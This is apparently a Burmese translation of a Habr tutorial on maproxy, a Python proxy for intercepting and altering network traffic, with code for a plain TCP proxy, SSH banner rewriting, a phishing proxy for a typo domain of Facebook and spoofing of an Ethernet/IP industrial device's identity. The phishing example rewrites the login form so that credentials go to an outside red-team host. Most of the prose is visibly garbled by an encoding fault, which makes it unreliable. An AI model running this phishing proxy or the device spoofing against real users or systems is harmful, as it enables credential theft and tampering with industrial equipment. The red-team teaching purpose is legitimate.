áá±á¬ááºážáá«ážááá¬áá¬ááŒááºááᯠáááºáááºážá
ááá·áºáá±á·ááœáẠááŒááºáááºáá²á·áá«áááºá
ááŸááºáá»ááº
áá¯á¶ááŸááºááá¯ážáá±á¬ááºá ááºážáááºááŒááºážááŸáá·áº Red Team áááºáááºááŸá¯áá»á¬ážá០IoT/ICS á ááºáá á¹á ááºážáá»á¬ážááŸáá·áº SCADA ááá¯á·ááᯠáááºáá¬á¡áá áá¯á¶ááŒá¯á¶áá±ážá¡áá²ááŒááºááŒááºáž á¡áá»áá¯ážá¡á á¬ážá¡áá»áá¯ážáá»áá¯ážááœááºá ááá¯ááá¯áááºááŸá¬ áá±á¬ááºáááºááŸáá·áºáá áºááŸááºááŒá¬ážááœáẠááœááºáááºáá±áá¬ááᯠááŒá¬ážááŒááºááŒááºážááŸáá·áº ááŒá¯ááŒááºááœááºážáá¶ááŒááºážáá»á¬áž áá«áááºáá«áááºá áá»áœááºá¯ááºááá¯á·ááœáẠWiresharká Tcpdump ááá¯á·ááá¯áẠScapy áá²á·ááá¯á·áá±á¬ áááááá¬áá»á¬áž ááŸááááºááŒá áºáá±á¬ááŒá±á¬áá·áº ááœááºáááºá¡ááœá¬ážá¡áá¬ááᯠááŸá¯ááŸáá¯ááºááŒááºážááẠáááºáá²áá±á¬á¡áá¯ááºááá¯ááºáá«á ááá¯á·áá±á¬áº áá»áœááºá¯ááºááá¯á·ááœáẠááœááºáááºáá±áá¬ááá¯áááºáááºá á á áºáá¯ááºáááºá ááŒá±á¬ááºážáá²ááẠá¡ááºáá¬áá±á·á áºáá áºáá»áá¯ážáá»áá¯ážááŸáááẠááá¯á¡ááºáá±á¬ááŒá±á¬áá·áº ááŒá¯ááŒááºááœááºážáá¶ááŒááºážááŸá¬ ááá¯ááá¯áá¯ááºá¡á¬ážá¡ááá·áºá¡ááá·áºááŸááá±á¬ á¡áá¯ááºáá áºáá¯ááŒá áºáááºá áááºážááᯠá¡áá»áááºááŸáá·áºáááŒá±ážáá®áá®ážáá«áž á¡áá»áááºááŸáá·áºáááŒá±ážáá® áá áºááŸááºá¡áááºááŸááºáᶠááŒááºáááºáá±ážááá¯á·áá«á ááá¯á·á¡ááŒááºá ááá¯ááá¯á·áá±á¬áááááá¬ááẠá¡ááŒáá¯ááºáá»áááºáááºááŸá¯áá»á¬ážá¡áá»á¬ážá¡ááŒá¬ážááŒáá·áº á¡ááá¯á¡áá»á±á¬ááºá¡áá¯ááºáá¯ááºááá¯ááºááŒá®áž scripts áá»á¬ážááá¯á¡áá¯á¶ážááŒá¯á á áááºááŒáá¯ááºááŒááºáááºááá¯ááºáá»áŸáẠá¡áá±á¬ááºážáá¯á¶ážááŒá áºáááá·áºáááºá
áá
áºáá±á·ááŸá¬ áá»áœááºáá±á¬áºáá±á«áºáá²á· tool áá
áºáá¯ááᯠááŸá¬ááœá±á·áá²á·áááºá
á
á¬ááœááºá
á¬áááºážá áá»áœááºáá±á¬á·áºááᯠááŒááºááŒááºáááºáááºáá² ááŸááºážáááºážá
á±áááºá maproxy
- áá«ááá¯á¡ááºáá±á¬á¡áá¬áá¬á áááºážááẠááá¯ážááá¯ážááŸááºážááŸááºážá á
áœááºá
á¯á¶áááŸáá·áº á¡ááœááºááá° áááºááŸááºááá¯ááºáá±á¬ TCP proxy áá
áºáá¯ááŒá
áºáááºá á¡ááŒáá¯ááºáá»áááºáááºááŸá¯áá»á¬ážá
áœá¬ááᯠááá¯ááºááœááºááŒá±ááŸááºážááá¯ááºááá¬ážááá¯áᬠááŒáá·áºááá¯á· ICS á
ááºáá
á¹á
ááºážááœá±á¡áá«á¡ááẠá¡áá±á¬áºáá±ážááŸá¯ááºááœá±ážáá²á· á¡ááá®áá±ážááŸááºážáá±á¬áºáá±á¬áºáá»á¬ážáá»á¬ážááŸá¬ áá®áááááá¬ááᯠá
ááºážáááºáá²á·ááŒá®áž áááááá¬á áá±á¬ááºážáá±á¬ááºážáá¯ááºáá±á¬ááºááá¯ááºááá¬ážá
á€áá±á¬ááºážáá«ážááœáẠááá·áºá¡á¬áž ááœááºáááºáá±áá¬ááᯠá¡áá¯á¶ážááŒá¯á áá»á¶áááºážáá±á
áẠáá¯ááºáá±á¬ááºááŒááºážá¡ááŒá±á¬ááºáž ááááºáááºáá±ážáá«áááºá maproxy
.
áá±áá¯áá»á¡ááŒááº
tool áá
áºáᯠmaproxy
Python ááŸá áá±áááºážá
á¬ážááŒá®áž ááá·áºáá»ááºáá±á¬ á¡áá®á¡ááœáẠááœááºáááºáá»áááºáááºááŸá¯áá±á¬ááºáá
áºáá¯ááŒá
áºááá·áº Tornado ááᯠá¡ááŒá±áá¶áá¬ážáááºá
áá±áá¯áá»á¡á¬ážááŒáá·áºá áááºážááẠáá¯ááºáá»á¬ážá áœá¬ááŒáá·áº áá¯ááºáá±á¬ááºááá¯ááºáááº-
TCP:TCP
- áá¯ááºááá¬ážáá±á¬ TCP áá»áááºáááºááŸá¯áá»á¬ážáTCP:SSL
ОSSL:TCP
- áá áºáááºážááœá¬áž á á¬ááŸááºá áá áºááŒáá·áºáSSL:SSL
- ááŸá áºáááºážáá¯ááºááŸááºááŒááºážá
á
á¬ááŒáá·áºááá¯ááºá¡ááŒá
Ạáá±á¬ááºááŸááá¬áááºá á¡ááŒááºá
áááºáááºá¡ááœááºá áááºáááá¯áááºáááºáá±á¬ á¥ááá¬ááá¯ááºáá»á¬ážááᯠáááºáá¯á¶ážááá¯ááºáááºá
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Case 1 â ááá¯ážááŸááºážáá±á¬ bidirectional proxy
áá±á«áºá¡ááŒá±áá¶áᬠtcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
áá¯á¶ááŸááºá¡á¬ážááŒááºá· ProxyServer()
á¡ááŒááºážá¡áá¯á¶ááŸá
áºáᯠ- áá»áááºáááºáááºáá±áá¬ááŸáá·áº áá
áºááŸááºááááºáááºážááᯠáá°áááºá server.listen()
á¡áááºáá»áááºáááºááŸá¯ááᯠáá¬ážáá±á¬ááºáááºá¡ááœáẠá¡ááŒááºážá¡áá¯á¶áá
áºáá¯ááᯠáá°áááºá
áá¬ááºááœáŸááºážááᯠáá¯ááºáá±á¬ááºáá±áááº-
# python tcp2tcp.py
á
ááºážáááºááŸá¯ááᯠáá¯ááºáá±á¬ááºáááºá¡ááœáẠáá»áœááºá¯ááºááá¯á·ááẠáá»áœááºá¯ááºááá¯á·á proxy script ááŸáááá·áº áá±ááá¹áá SSH áá¬áá¬ááá¯á· áá»áááºáááºááœá¬ážáááºááŒá
áºáá«áááºá 2222/tcp
port ááŸáá·áº standard port áá
áºáá¯ááá¯á·áá»áááºáááºáááºá 22/tcp
SSH áá¬áá¬áá»á¬áž-
áá»áœááºá¯ááºááá¯á·áááá°áᬠscript ááẠááœááºáááºá¡ááœá¬ážá¡áá¬ááᯠá¡á±á¬ááºááŒááºá
áœá¬ proxy áá±ážááŒá±á¬ááºáž ááŒáá¯ááá¯áá±á¬ááá°ážá
ááºážá ááá·áºá¡á¬áž á¡áááá±ážáááºá
Case 2 â áá±áá¬ááœááºážáá¶ááŒááºážá
áá±á¬ááºááẠáá®ááᯠáá¬ááºááœáŸááºáž logging_proxy.py
ááœááºáááºáá±áá¬ááŸáá·áº á¡ááŒááºá¡ááŸááºáááºááœááºáááºá¡ááœáẠá¡áá±á¬ááºážáá¯á¶ážááŒá
áºáááºá ááá¯ááºááŸáááŸááºáá»ááºáá»á¬ážááẠááá·áºáááºááŸááºážáá»ááºá¡á±á¬ááºááŒááºááẠáááºááœááºážáá¶ááá¯ááºááá·áº á¡áááºážá¡á
á¬ážáááºážáááºážáá»á¬ážááᯠáá±á¬áºááŒáááº-
á
áááºáááºá
á¬ážá
áá¬á¡áá±á¬ááºážáá¯á¶ážá áá®ááŸá¬
on_c2p_done_read
- client á០server ááá¯á·ááœá¬ážáá¬áááºážáá áºáá»áŸá±á¬áẠdata ááá¯ááŒá¬ážááŒááºáááºáon_p2s_done_read
- ááŒá±á¬ááºážááŒááºá
áá¬áá¬ááẠáááá¯ááºážááá·áºáᶠááŒááºááœá¬ážááá·áº SSH á¡áá¶ááᯠááŒá±á¬ááºážááŒáá·áºááŒáá«á áá¯á·á
[âŠ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[âŠ]
áá¬ááºááœáŸááºážááᯠáá¯ááºáá±á¬ááºáá«-
áááºááœá±á·ááŒááºáááá·áºá¡ááá¯ááºážá áá°á·á¡ááœáẠSSH áá¬áá¬á¡áááºááᯠááŒá±á¬ááºážáá¬ážáá±á¬ááŒá±á¬áá·áº áá¯á¶ážá
áœá²áá°ááẠáááºážááœá²ááœá¬ážáá²á·áááºá «DumnySSH»
.
Case 3 â ááá¯ážááŸááºážáá±á¬ phishing áááºá á¬áá»ááºááŸá¬
á€áááááá¬ááá¯á¡áá¯á¶ážááŒá¯ááẠá¡áá¯á¶ážáááŸááá±á¬áááºážáááºážáá»á¬ážááŸááááºá áá®áá
áºáá«ááŸá¬áá±á¬á· Red Team áá²á· áá¯ááºáá±á¬ááºáá»ááºááœá±ááᯠááá¯ááŒá®áž áááºááœá±á·áá»áá» á¡á¬áá¯á¶á
áá¯ááºááŒáá·áºáá¡á±á¬ááºá áááºážáááºááá·áºá
á¬áá»ááºááŸá¬ááᯠá¡áá¯áá°ááŒáá«á
áá¯á· m.facebook.com
á¥ááá¬á¡á¬ážááŒáá·áº ááááºáááºááẠtypo ááŒáá·áº á
áááºááŒáá¯ááºááá¯ááááºážááᯠá¡áá¯á¶ážááŒá¯áá«á m.facebok.com
. ááá¯ááºááŒáááºááœááºáá»ááºá¡ááœááºá ááá¯ááááºážááᯠáá»áœááºá¯ááºááá¯á·á០ááŸááºáá¯á¶áááºáá¬ážáááºáᯠáá°áááŒáá«á
áá¯á·á
áá»áœááºá¯ááºááá¯á·ááẠáá»áœááºá¯ááºááá¯á·á áá¬ážáá±á¬ááºáá»á¬áž ááá±á¬ááºá
á®ááŸáá·áº SSL ááá¯ááºááá¯ááºááœáŸáá·áºááŒááºážááá¯á·ááŒáá·áº Facebook áá¬áá¬ááá¯á· áá¯ááºááŸááºááá¬ážáá±á¬ ááœááºáááºáá»áááºáááºááŸá¯ááᯠáááºáá±á¬ááºááœá¬ážáá«ááẠ(31.13.81.36
) á€ááá°áá¬ááᯠá¡áá¯ááºááŒá
áºá
á±áááºá áá»áœááºá¯ááºááá¯á·ááẠHTTP host header ááᯠá¡á
á¬ážááá¯ážááŒá®áž ááŸááºáááºáá±á¬ hostname ááᯠááá·áºááœááºážááẠááá¯á¡ááºááŒá®áž á¡ááŒá±á¬ááºážá¡áá¬áá»á¬ážááᯠá¡ááœááºááá° áááºáá±á¬ááºááá¯ááºá
á±ááẠáá¯á¶á·ááŒááºááŸá¯áá»á¯á¶á·ááŸá¯ááá¯áááºáž ááááºáá«áááºá áá±á¬ááºáá¯á¶ážááœáẠáá»áœááºá¯ááºááá¯á·ááẠFacebook ááá¬áá¬áá»á¬ážá¡á
á¬áž á¡áá±á¬áá·áºáááºááŒááºážá¡áá±á¬ááºá¡áá¬ážáá»á¬ážááᯠáá»áœááºá¯ááºááá¯á·áá¶áá±ážááá¯á·ááá¯ááºááẠHTML áá±á¬ááºááᯠá¡á
á¬ážááá¯ážáá«áááºá
[âŠ]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[âŠ]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/my/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[âŠ]
ááááºá¡ááŒá áº:
áááºááœá±á·ááŒááºáááá·áºá¡ááá¯ááºážá áá»áœááºá¯ááºááá¯á·ááẠáá°áááºážááá¯ááºááᯠá¡á±á¬ááºááŒááºá
áœá¬ á¡á
á¬ážááá¯ážááá¯ááºáá²á·áááºá
Case 4 â Ethernet/IP ááᯠââááá¯á·ááŒááºážá
áááá¯ááááºáá¯ááºááá¯ááºáá±á¬ ááááºážáá»á¯ááºáááááá¬áá»á¬áž (PLC)á I/O modulesá drivesá relaysá ladder programming áááºáááºážáá»ááºááŸáá·áº á¡ááŒá¬ážá¡áá¬áá»á¬ážá áœá¬áá²á·ááá¯á·áá±á¬ á ááºááŸá¯á ááºáá á¹á ááºážáá»á¬ážááŸáá·áº áá±á¬á·ááºáá²áẠ(ICS/SCADA) ááá¯á·ááŸáá·áº á¡áá»áááºá¡áá±á¬áºááŒá¬á¡á±á¬áẠááá¯ááºááœááºáá±áá«áááºá á€ááá á¹á ááẠá ááºááŸá¯áá¯ááºáááºážááᯠááŸá áºáááºáá°áá»á¬ážá¡ááœáẠááŒá áºáááºá ááá¯ááá¯á·áá±á¬ ááŒá±ááŸááºážáá»ááºáá»á¬ážá¡á¬áž áááºáá¬ááẠááœááºáááºáááá¯ááá¯áá±á¬áá»á¬ážááŒáá·áº áááºááŒáœá áœá¬ áá á¬ážááŒááºáž áá«áááºáááºá á¡á±á¬ááºáá«á¥ááá¬ááœááºá ICS/SCADA ááœááºáááºá¡ááœá¬ážá¡áá¬ááᯠáááºááœááºážáá¶ááá¯ááºáá¯á¶ááᯠááŒáááá¯áá«áááºá
áááºážá¡ááœáẠá¡á±á¬ááºáá«ááá¯á·ááᯠááá¯á¡ááºáá«áááºá
- Network sniffer á¥ááᬠWireshark;
- Ethernet/IP ááá¯á·ááá¯áẠSIP á ááºáá áºáá¯áá»áŸáá¬á Shodan áááºáá±á¬ááºááŸá¯ááᯠá¡áá¯á¶ážááŒá¯á áááºážááᯠáááºááŸá¬ááœá±á·ááá¯ááºáá«áááºá
- áá»áœááºá¯ááºááá¯á·á áá¬ááºááœáŸááºážááẠá¡ááŒá±áá¶ááŒá
áºáááºá
maproxy
.
áŠážá áœá¬á CIP (Common Industrial Protocol) á០áá¯á¶ááŸááºáááºááŸááºááŒááºážááá¯ááºáᬠáá¯á¶á·ááŒááºááŸá¯á¡á¬áž ááŒáá·áºáá«-
CIP áá²á·ááá¯á·áá±á¬ áááá¯ááá¯áá±á¬áá»á¬ážááᯠááááºážáá»á¯ááºááá·áº á
ááºááŸá¯á¡á®áá¬áááºáááá¯ááá¯áá±á¬á á¡ááá·áºááŒáŸáá·áºáá¬ážááŸááºážááŒá
áºááá·áº Ethernet/IP áááá¯ááá¯áá±á¬ááᯠá¡áá¯á¶ážááŒá¯á á
ááºáá
á¹á
ááºáž ááœá²ááŒá¬ážáááºááŸááºááŒááºážááᯠááŒá®ážááŒá±á¬ááºá
á±áááºá áá»áœááºá¯ááºááá¯á·ááẠá
ááááºááŸá±á¬á·ááœááºááŒááºááá±á¬ áá®ážáá±á¬ááºážááá¯ážááŒáá¬ážáá±á¬ ID á¡áááºááᯠááŒá±á¬ááºážáá²áá«áááºá Ethernet á¡ááœáẠ"NI-IndComm" áá»áœááºá¯ááºááá¯á·á proxy script ááᯠá¡áá¯á¶ážááŒá¯. áá¬ááºááœáŸááºážááᯠááŒááºáá¯á¶ážááá¯á·ááááºá logging_proxy.py
ááŸáá·áº á¡áá¬ážáá° á¡áááºážáááºážáááºážááᯠááŒááºáááºáá«á on_p2s_done_read
á¡áááºááŒá±á¬áá·áºááá¯áá±á¬áº áá»áœááºá¯ááºááá¯á·ááẠááá°áá®áá±á¬ á¡áá±á¬ááºá¡áá¬ážá¡áááºáá
áºáá¯ááᯠáááá¯ááºážááá·áºááœáẠááŒááºááœá±á·á
á±ááá¯áá±á¬ááŒá±á¬áá·áºááŒá
áºáááºá
áá¯ááº:
[âŠ]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[âŠ]
á¡ááŒá±áá¶á¡á¬ážááŒáá·áºá áá»áœááºá¯ááºááá¯á·ááẠá ááºáá á¹á ááºáž á¡áá±á¬ááºá¡áá¬ážááᯠááŸá áºááŒáááºááá¯ááºááá¯áẠáá±á¬ááºážááá¯áá²á·ááŒá®ážá áá¯ááááá¯á¶á·ááŒááºááŸá¯ááẠáá°áááºážááŒá áºááŒá®áž ááááá áºáá¯ááẠáá»á¶áááºážááŸá¯ááœáẠááŒá¯ááŒááºááœááºážáá¶áá¬ážáááºá
áá±á¬ááºáá¯á¶áž
áá»áá±á¬á·áºá¡ááŒááºáá¯ááŸá
áºááœáẠmaproxy
Python áá²á·áááºážáá±ážáá¬ážááá¯á· á¡áááºááŒá±ááŒá®áž ááá¯ážááŸááºážáá²á· tool áá
áºáá¯ááá¯á· áááºáááºáž áááºážááá¯á¡áá¯á¶ážááŒá¯ááŒááºážááá± á¡áá»áá¯ážááŸáááá¯ááºáááºááá¯á· áá¯á¶ááŒááºáá«áááºá áá¯ááºáá«áááºá ááœááºáááºáá±áá¬ááᯠáá¯ááºáá±á¬ááºááŒááºážááŸáá·áº ááŒá¯ááŒááºááœááºážáá¶ááŒááºážá¡ááœáẠááá¯ááá¯ááŸá¯ááºááœá±ážáá±á¬áááááá¬áá»á¬áž ááŸááááºá ááá¯á·áá±á¬áº áááºážááá¯á·ááá¯áááºáž ááá¯ááá¯á¡á¬áá¯á¶á
áá¯ááºáááºááá¯á¡ááºááŒá®áž áááá»áá±á¬á¡áá¯á¶ážááŒá¯ááŸá¯ááá
á¹á
áá
áºáá¯á¡ááœáẠáááºáá®ážáá¬ážáá±á·ááŸáááẠá¥ááá¬á á¥ááá¬á maproxy
á¥ááᬠscript áá»á¬ážááẠá¡ááœááºááŸááºážáááºážáá±á¬ááŒá±á¬áá·áº ááœááºáááºáá±áá¬ááᯠááŒá¬ážááŒááºááŒá¬ážááŒááºááŒááºážá¡ááœáẠááá·áºá
áááºáá°ážáá»á¬ážááᯠáá»ááºááŒááºá
áœá¬á¡áá±á¬ááºá¡áááºáá±á¬áºááá¯ááºáááºá
source: www.habr.com